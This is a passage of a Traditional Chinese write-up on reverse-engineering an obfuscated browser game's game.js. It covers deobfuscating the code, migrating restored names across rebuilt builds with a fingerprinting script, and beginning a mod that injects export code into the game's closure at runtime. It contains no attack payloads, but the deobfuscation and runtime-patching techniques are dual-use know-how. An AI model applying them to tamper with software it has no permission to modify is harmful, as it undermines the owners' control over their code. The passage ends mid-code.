y="33.44999999999999" text-anchor="middle" style="fill:var(--ink);font-size:11px">74</text><text x="290" y="260" text-anchor="middle" style="fill:var(--ink-dim);font-size:12px">token 相似度 ≥ 0.9</text><rect x="422" y="124.42500000000001" width="62" height="105.57499999999999" rx="2" class="chart-bar-positive" style="fill:var(--accent);--i:2"></rect><text x="454" y="118.42500000000001" text-anchor="middle" style="fill:var(--ink);font-size:11px">41</text><text x="454" y="260" text-anchor="middle" style="fill:var(--ink-dim);font-size:12px">其他</text></svg><figcaption>192 個頂層宣告的還原結果</figcaption></figure>
<p>以 <code>hurtPlayer</code> 為例，還原後的變數名稱、結構都跟原始碼一樣。唯一的差別是 10/15 版多了一段護盾免疫的判斷，那是作者那一天新加的：</p>
<figure data-rehype-pretty-code-figure=""><pre style="--shiki-light:#0e1116;--shiki-dark:#f0f3f6;--shiki-light-bg:#ffffff;--shiki-dark-bg:#0a0c10" tabindex="0" data-language="js" data-theme="github-light-high-contrast github-dark-high-contrast"><code data-language="js" data-theme="github-light-high-contrast github-dark-high-contrast" style="display: grid;"><span data-line=""><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">function</span><span style="--shiki-light:#622CBC;--shiki-dark:#DBB7FF"> hurtPlayer</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">(</span><span style="--shiki-light:#702C00;--shiki-dark:#FFB757">raw</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">, </span><span style="--shiki-light:#702C00;--shiki-dark:#FFB757">fromX</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">, </span><span style="--shiki-light:#702C00;--shiki-dark:#FFB757">fromY</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">) {</span></span>
<span data-line=""><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">  if</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6"> (</span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF">G</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">.player.shieldT </span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">></span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF"> 0</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">) {                    </span><span style="--shiki-light:#66707B;--shiki-dark:#BDC4CC">// 10/15 新增</span></span>
<span data-line=""><span style="--shiki-light:#622CBC;--shiki-dark:#DBB7FF">    addNumber</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">(</span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF">G</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">.player.x, </span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF">G</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">.player.y </span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">-</span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF"> 56</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">, </span><span style="--shiki-light:#032563;--shiki-dark:#ADDCFF">"免疫"</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">, </span><span style="--shiki-light:#032563;--shiki-dark:#ADDCFF">"heal"</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">);</span></span>
<span data-line=""><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">    return</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">;</span></span>
<span data-line=""><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">  }</span></span>
<span data-line=""><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">  if</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6"> (</span><span style="--shiki-light:#622CBC;--shiki-dark:#DBB7FF">tryBlock</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">()) </span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">return</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">;</span></span>
<span data-line=""><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">  const</span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF"> p</span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492"> =</span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF"> G</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">.player;</span></span>
<span data-line=""><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">  const</span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF"> dmg</span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492"> =</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6"> Math.</span><span style="--shiki-light:#622CBC;--shiki-dark:#DBB7FF">max</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">(</span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF">1</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">, Math.</span><span style="--shiki-light:#622CBC;--shiki-dark:#DBB7FF">round</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">(raw </span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">*</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6"> (</span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF">1</span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492"> -</span><span style="--shiki-light:#622CBC;--shiki-dark:#DBB7FF"> damageReduction</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">())));</span></span>
<span data-line=""><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">  p.hp </span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">-=</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6"> dmg;</span></span>
<span data-line=""><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">  …</span></span>
<span data-line=""><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">}</span></span></code></pre></figure>
<p>不相同的原因有兩種，目前分不開。一種是還原過程的轉換，例如模板字串被轉成 <code>+</code> 串接；另一種是作者在 10/14 到 10/15 之間真的改了，例如 <code>spawnBoss</code> 整個改成競技場版本。</p>
<p>本節來源：<a href="#doc-reverse-README"><code>reverse/README.md</code></a></p>
<hr>
<h2 id="7-跨-build-自動遷移命名" class="phrased">（7）<wbr>跨 build 自動<wbr>遷移<wbr>命名</h2>
<p>作者每次 push 都重新混淆，所有 <code>_0x…</code> 名稱都會換掉。每次重新命名一遍不可行，所以要把舊 build 的命名自動搬到新 build。</p>
<p><code>match-names.mjs</code> 對每個頂層宣告算兩種指紋：</p>
<ul>
<li><strong>宣告本體</strong>：把 <code>_0x…</code> 換成 <code>_</code> 之後的程式碼。兩邊都只出現一次、而且完全相同，就直接配對。</li>
<li><strong>使用方式</strong>：每個引用處的上層運算式，本身換成 <code>@</code>，例如 <code>@.player</code>、<code>newRun(@)</code>。</li>
</ul>
<figure data-rehype-pretty-code-figure=""><pre style="--shiki-light:#0e1116;--shiki-dark:#f0f3f6;--shiki-light-bg:#ffffff;--shiki-dark-bg:#0a0c10" tabindex="0" data-language="js" data-theme="github-light-high-contrast github-dark-high-contrast"><code data-language="js" data-theme="github-light-high-contrast github-dark-high-contrast" style="display: grid;"><span data-line=""><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">    const</span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF"> body</span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492"> =</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6"> fn.node.body.body;</span></span>
<span data-line=""><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">    for</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6"> (</span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">const</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6"> [</span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF">id</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">, </span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF">b</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">] </span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">of</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6"> Object.</span><span style="--shiki-light:#622CBC;--shiki-dark:#DBB7FF">entries</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">(fn.scope.bindings)) {</span></span>
<span data-line=""><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">      const</span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF"> stmt</span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492"> =</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6"> b.path.</span><span style="--shiki-light:#622CBC;--shiki-dark:#DBB7FF">isFunctionDeclaration</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">() </span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">?</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6"> b.path.node </span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">:</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6"> b.path.parentPath?.node;</span></span>
<span data-line=""><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">      if</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6"> (</span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">!</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">stmt </span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">||</span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492"> !</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">body.</span><span style="--shiki-light:#622CBC;--shiki-dark:#DBB7FF">includes</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">(stmt)) </span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">continue</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">;</span></span>
<span data-line=""><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">      const</span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF"> self</span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492"> =</span><span style="--shiki-light:#622CBC;--shiki-dark:#DBB7FF"> norm</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">(</span><span style="--shiki-light:#622CBC;--shiki-dark:#DBB7FF">generate</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">(stmt).code);</span></span>
<span data-line=""><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">      const</span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF"> uses</span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492"> =</span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492"> new</span><span style="--shiki-light:#622CBC;--shiki-dark:#DBB7FF"> Set</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">();</span></span>
<span data-line=""><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">      for</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6"> (</span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">const</span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF"> r</span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492"> of</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6"> b.referencePaths.</span><span style="--shiki-light:#622CBC;--shiki-dark:#DBB7FF">concat</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">(b.constantViolations)) {</span></span>
<span data-line=""><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">        let</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6"> q </span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">=</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6"> r.parentPath; </span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">if</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6"> (</span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">!</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">q) </span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">continue</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">;</span></span>
<span data-line=""><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">        if</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6"> (q.</span><span style="--shiki-light:#622CBC;--shiki-dark:#DBB7FF">isMemberExpression</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">() </span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">&#x26;&#x26;</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6"> q.parentPath) q </span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">=</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6"> q.parentPath;</span></span>
<span data-line=""><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">        let</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6"> s </span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">=</span><span style="--shiki-light:#622CBC;--shiki-dark:#DBB7FF"> generate</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">(q.node).code;</span></span>
<span data-line=""><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">        s </span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">=</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6"> s.</span><span style="--shiki-light:#622CBC;--shiki-dark:#DBB7FF">split</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">(id).</span><span style="--shiki-light:#622CBC;--shiki-dark:#DBB7FF">join</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">(</span><span style="--shiki-light:#032563;--shiki-dark:#ADDCFF">'@'</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">);</span></span>
<span data-line=""><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">        uses.</span><span style="--shiki-light:#622CBC;--shiki-dark:#DBB7FF">add</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">(</span><span style="--shiki-light:#032563;--shiki-dark:#ADDCFF">'u:'</span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492"> +</span><span style="--shiki-light:#622CBC;--shiki-dark:#DBB7FF"> norm</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">(s).</span><span style="--shiki-light:#622CBC;--shiki-dark:#DBB7FF">slice</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">(</span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF">0</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">, </span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF">80</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">));</span></span>
<span data-line=""><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">      }</span></span>
<span data-line=""><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">      const</span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF"> toks</span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492"> =</span><span style="--shiki-light:#622CBC;--shiki-dark:#DBB7FF"> tokens</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">(self);</span></span>
<span data-line=""><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">      for</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6"> (</span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">const</span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF"> u</span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492"> of</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6"> uses) { toks.</span><span style="--shiki-light:#622CBC;--shiki-dark:#DBB7FF">add</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">(u); </span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">for</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6"> (</span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">const</span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF"> t</span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492"> of</span><span style="--shiki-light:#622CBC;--shiki-dark:#DBB7FF"> tokens</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">(u.</span><span style="--shiki-light:#622CBC;--shiki-dark:#DBB7FF">slice</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">(</span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF">2</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">))) toks.</span><span style="--shiki-light:#622CBC;--shiki-dark:#DBB7FF">add</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">(</span><span style="--shiki-light:#032563;--shiki-dark:#ADDCFF">'u.'</span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492"> +</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6"> t); }</span></span></code></pre></figure>
<p><a href="https://git.siao.ai/siao/dungeon-reborn-mod/blob/main/reverse/match-names.mjs#L17-L31">在 SiaoHub 檢視 siao/dungeon-reborn-mod/reverse/match-names.mjs L17-31</a></p>
<p>第二種是必要的。第一版只比本體，結果把 <code>G</code> 配到 <code>selectedChar</code> 上，因為兩個都是 <code>let x = null;</code>。改成同時比使用方式之後，<code>G</code> 的指紋裡有 <code>@.player</code>、<code>@.enemies</code>，<code>selectedChar</code> 的指紋裡有 <code>newRun(@)</code>，就分得開了。</p>
<figure class="chart"><svg viewBox="0 0 560 302" role="img" aria-label="各次遷移：完全配對 vs 模糊配對" style="max-width:100%;height:auto;display:block;margin:0 auto"><line x1="44" y1="10" x2="60" y2="10" style="stroke:var(--accent);stroke-width:2"></line><text x="66" y="14" style="fill:var(--ink);font-size:11px">完全配對</text><line x1="112" y1="10" x2="128" y2="10" style="stroke:var(--ink-dim);stroke-width:2;stroke-dasharray:5,4"></line><text x="134" y="14" style="fill:var(--ink);font-size:11px">模糊配對</text><line x1="44" y1="252" x2="536" y2="252" style="stroke:var(--ink-dim);stroke-width:1"></line><text x="36" y="256" text-anchor="end" style="fill:var(--ink-dim);font-size:11px">0</text><text x="36" y="153" text-anchor="end" style="fill:var(--ink-dim);font-size:11px">150</text><text x="36" y="50" text-anchor="end" style="fill:var(--ink-dim);font-size:11px">300</text><rect x="135" y="119.47333333333333" width="30" height="132.52666666666667" rx="2" class="chart-bar-positive" style="fill:var(--accent);--i:0"></rect><text x="151" y="113.47333333333333" text-anchor="middle" style="fill:var(--ink);font-size:11px">193</text><rect x="167" y="240.32666666666665" width="30" height="11.673333333333346" rx="2" class="chart-bar-positive" style="fill:var(--ink-dim);--i:1"></rect><text x="183" y="234.32666666666665" text-anchor="middle" style="fill:var(--ink);font-size:11px">17</text><text x="167" y="282" text-anchor="middle" style="fill:var(--ink-dim);font-size:12px">→ 5c02894</text><rect x="381" y="99.56" width="30" height="152.44" rx="2" class="chart-bar-positive" style="fill:var(--accent);--i:2"></rect><text x="397" y="93.56" text-anchor="middle" style="fill:var(--ink);font-size:11px">222</text><rect x="413" y="242.38666666666666" width="30" height="9.613333333333344" rx="2" class="chart-bar-positive" style="fill:var(--ink-dim);--i:3"></rect><text x="429" y="236.38666666666666" text-anchor="middle" style="fill:var(--ink);font-size:11px">14</text><text x="413" y="282" text-anchor="middle" style="fill:var(--ink-dim);font-size:12px">→ 3b32e21</text></svg><figcaption>各次遷移：完全配對 vs 模糊配對</figcaption></figure>
<p>兩次遷移都是 0 個遺失。模糊配對到的，除了 <code>let x = null</code> 這種同形宣告，剩下的剛好就是這次更新改到的函式。</p>
<p>還原之後，版本之間的差異可以直接 diff。<code>3b32e21</code> 的 commit 訊息寫「強化 Android 防竄改」，但 <code>game.js</code> 還原後跟前一版只差 10 行：</p>
<figure data-rehype-pretty-code-figure=""><pre style="--shiki-light:#0e1116;--shiki-dark:#f0f3f6;--shiki-light-bg:#ffffff;--shiki-dark-bg:#0a0c10" tabindex="0" data-language="diff" data-theme="github-light-high-contrast github-dark-high-contrast"><code data-language="diff" data-theme="github-light-high-contrast github-dark-high-contrast" style="display: grid;"><span data-line=""><span style="--shiki-light:#6E011A;--shiki-dark:#FFB1AF">-      hp: 2,</span></span>
<span data-line=""><span style="--shiki-light:#024C1A;--shiki-dark:#72F088">+      hp: 1,</span></span></code></pre></figure>
<p>加上 Boss 狀態機裡一個 <code>if</code> 的寫法。網頁版沒有新的防護，防竄改應該是在 Android 包裝那一層。</p>
<p>整個更新流程包成 <code>update.sh</code>：</p>
<figure class="diagram"><svg viewBox="0.00 0.00 671.00 126.00" xmlns="http://www.w3.org/2000/svg" style="max-width:100%;height:auto;display:block;margin:0 auto" role="img" aria-label="update.sh">
<g class="graph" transform="scale(1 1) rotate(0) translate(4 122)">
<polygon fill="none" stroke="none" points="-4,4 -4,-122 667.38,-122 667.38,4 -4,4"></polygon>

<g class="node">

<path fill="none" stroke="currentColor" d="M71.66,-106.8C71.66,-106.8 12,-106.8 12,-106.8 6,-106.8 0,-100.8 0,-94.8 0,-94.8 0,-82.8 0,-82.8 0,-76.8 6,-70.8 12,-70.8 12,-70.8 71.66,-70.8 71.66,-70.8 77.66,-70.8 83.66,-76.8 83.66,-82.8 83.66,-82.8 83.66,-94.8 83.66,-94.8 83.66,-100.8 77.66,-106.8 71.66,-106.8"></path>
<text text-anchor="middle" x="41.83" y="-84.6" font-family="Times,serif" font-size="14.00">線上 game.js</text>
</g>

<g class="node">

<path fill="none" stroke="currentColor" d="M223.37,-118C223.37,-118 136.14,-118 136.14,-118 130.14,-118 124.14,-112 124.14,-106 124.14,-106 124.14,-71.6 124.14,-71.6 124.14,-65.6 130.14,-59.6 136.14,-59.6 136.14,-59.6 223.37,-59.6 223.37,-59.6 229.37,-59.6 235.37,-65.6 235.37,-71.6 235.37,-71.6 235.37,-106 235.37,-106 235.37,-112 229.37,-118 223.37,-118"></path>
<text text-anchor="middle" x="179.76" y="-101.4" font-family="Times,serif" font-size="14.00">deob.sh</text>
<text text-anchor="middle" x="179.76" y="-84.6" font-family="Times,serif" font-size="14.00">reveal → cleanup</text>
<text text-anchor="middle" x="179.76" y="-67.8" font-family="Times,serif" font-size="14.00">→ webcrack</text>
</g>

<g class="edge">

<path fill="none" stroke="currentColor" d="M83.98,-88.8C92.97,-88.8 102.7,-88.8 112.38,-88.8"></path>
<polygon fill="currentColor" stroke="currentColor" points="112.18,-92.3 122.18,-88.8 112.18,-85.3 112.18,-92.3"></polygon>
</g>

<g class="node">

<path fill="none" stroke="currentColor" d="M227.86,-41.6C227.86,-41.6 131.66,-41.6 131.66,-41.6 125.66,-41.6 119.66,-35.6 119.66,-29.6 119.66,-29.6 119.66,-12 119.66,-12 119.66,-6 125.66,0 131.66,0 131.66,0 227.86,0 227.86,0 233.86,0 239.86,-6 239.86,-12 239.86,-12 239.86,-29.6 239.86,-29.6 239.86,-35.6 233.86,-41.6 227.86,-41.6"></path>
<text text-anchor="middle" x="179.76" y="-25" font-family="Times,serif" font-size="14.00">基準 build</text>
<text text-anchor="middle" x="179.76" y="-8.2" font-family="Times,serif" font-size="14.00">(從原作者 repo 下載)</text>
</g>

<g class="node">

<path fill="none" stroke="currentColor" d="M354.49,-75.6C354.49,-75.6 287.86,-75.6 287.86,-75.6 281.86,-75.6 275.86,-69.6 275.86,-63.6 275.86,-63.6 275.86,-46 275.86,-46 275.86,-40 281.86,-34 287.86,-34 287.86,-34 354.49,-34 354.49,-34 360.49,-34 366.49,-40 366.49,-46 366.49,-46 366.49,-63.6 366.49,-63.6 366.49,-69.6 360.49,-75.6 354.49,-75.6"></path>
<text text-anchor="middle" x="321.17" y="-59" font-family="Times,serif" font-size="14.00">match-names</text>
<text text-anchor="middle" x="321.17" y="-42.2" font-family="Times,serif" font-size="14.00">遷移命名</text>
</g>

<g class="edge">

<path fill="none" stroke="currentColor" d="M240.29,-35.32C248.33,-37.28 256.57,-39.29 264.54,-41.23"></path>
<polygon fill="currentColor" stroke="currentColor" points="263.59,-44.6 274.13,-43.57 265.25,-37.8 263.59,-44.6"></polygon>
</g>

<g class="edge">

<path fill="none" stroke="currentColor" d="M235.86,-75.36C245.38,-73.04 255.27,-70.63 264.8,-68.3"></path>
<polygon fill="currentColor" stroke="currentColor" points="265.41,-71.76 274.3,-65.99 263.75,-64.96 265.41,-71.76"></polygon>
</g>

<g class="node">

<path fill="none" stroke="currentColor" d="M486.99,-84C486.99,-84 414.49,-84 414.49,-84 408.49,-84 402.49,-78 402.49,-72 402.49,-72 402.49,-37.6 402.49,-37.6 402.49,-31.6 408.49,-25.6 414.49,-25.6 414.49,-25.6 486.99,-25.6 486.99,-25.6 492.99,-25.6 498.99,-31.6 498.99,-37.6 498.99,-37.6 498.99,-72 498.99,-72 498.99,-78 492.99,-84 486.99,-84"></path>
<text text-anchor="middle" x="450.74" y="-67.4" font-family="Times,serif" font-size="14.00">rename</text>
<text text-anchor="middle" x="450.74" y="-50.6" font-family="Times,serif" font-size="14.00">原名 → 人工命名</text>
<text text-anchor="middle" x="450.74" y="-33.8" font-family="Times,serif" font-size="14.00">→ 啟發式</text>
</g>

<g class="edge">

<path fill="none" stroke="currentColor" d="M366.79,-54.8C374.6,-54.8 382.84,-54.8 390.97,-54.8"></path>
<polygon fill="currentColor" stroke="currentColor" points="390.82,-58.3 400.82,-54.8 390.82,-51.3 390.82,-58.3"></polygon>
</g>

<g class="node">

<path fill="none" stroke="currentColor" d="M651.38,-75.6C651.38,-75.6 546.99,-75.6 546.99,-75.6 540.99,-75.6 534.99,-69.6 534.99,-63.6 534.99,-63.6 534.99,-46 534.99,-46 534.99,-40 540.99,-34 546.99,-34 546.99,-34 651.38,-34 651.38,-34 657.38,-34 663.38,-40 663.38,-46 663.38,-46 663.38,-63.6 663.38,-63.6 663.38,-69.6 657.38,-75.6 651.38,-75.6"></path>
<text text-anchor="middle" x="599.19" y="-59" font-family="Times,serif" font-size="14.00">build-mod</text>
<text text-anchor="middle" x="599.19" y="-42.2" font-family="Times,serif" font-size="14.00">對照表加進 maps.json</text>
</g>

<g class="edge">

<path fill="none" stroke="currentColor" d="M499.29,-54.8C506.95,-54.8 515.04,-54.8 523.17,-54.8"></path>
<polygon fill="currentColor" stroke="currentColor" points="523.11,-58.3 533.11,-54.8 523.11,-51.3 523.11,-58.3"></polygon>
</g>
</g>
</svg><figcaption>update.sh</figcaption></figure>
<p>本節來源：<a href="#doc-reverse-README"><code>reverse/README.md</code></a></p>
<hr>
<h2 id="8-外掛-v3-接上閉包" class="phrased">（8）<wbr>外掛 v3：<wbr>接上<wbr>閉包</h2>
<h3 id="1-不放遊戲程式碼" class="phrased">1. 不放<wbr>遊戲<wbr>程式碼</h3>
<p>最直接的做法是把還原後的遊戲（拆掉 IIFE）整份塞進外掛，用它取代原版。我第一版就是這樣做的，也能跑，但這等於把作者的整份程式碼重新發佈一次。（11）會講為什麼不這樣做。</p>
<p>現在的做法是：執行時抓官方的 <code>game.js</code>，在主 IIFE 結尾的 <code>;}()));</code> 前面插入一段匯出程式，在閉包裡用 getter/setter 把函式和狀態掛到 <code>window</code>：</p>
<figure data-rehype-pretty-code-figure=""><pre style="--shiki-light:#0e1116;--shiki-dark:#f0f3f6;--shiki-light-bg:#ffffff;--shiki-dark-bg:#0a0c10" tabindex="0" data-language="js" data-theme="github-light-high-contrast github-dark-high-contrast"><code data-language="js" data-theme="github-light-high-contrast github-dark-high-contrast" style="display: grid;"><span data-line=""><span style="--shiki-light:#66707B;--shiki-dark:#BDC4CC">    // 在閉包內定義 window 上的存取子；setter 直接改閉包裡的綁定，遊戲之後的呼叫就會走到新函式</span></span>
<span data-line=""><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">    const</span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF"> Lines</span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492"> =</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6"> [];</span></span>
<span data-line=""><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">    for</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6"> (</span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">const</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6"> [</span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF">Obf</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">, [</span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF">Name</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">, </span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF">Writable</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">]] </span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">of</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6"> Object.</span><span style="--shiki-light:#622CBC;--shiki-dark:#DBB7FF">entries</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">(Names)) {</span></span>
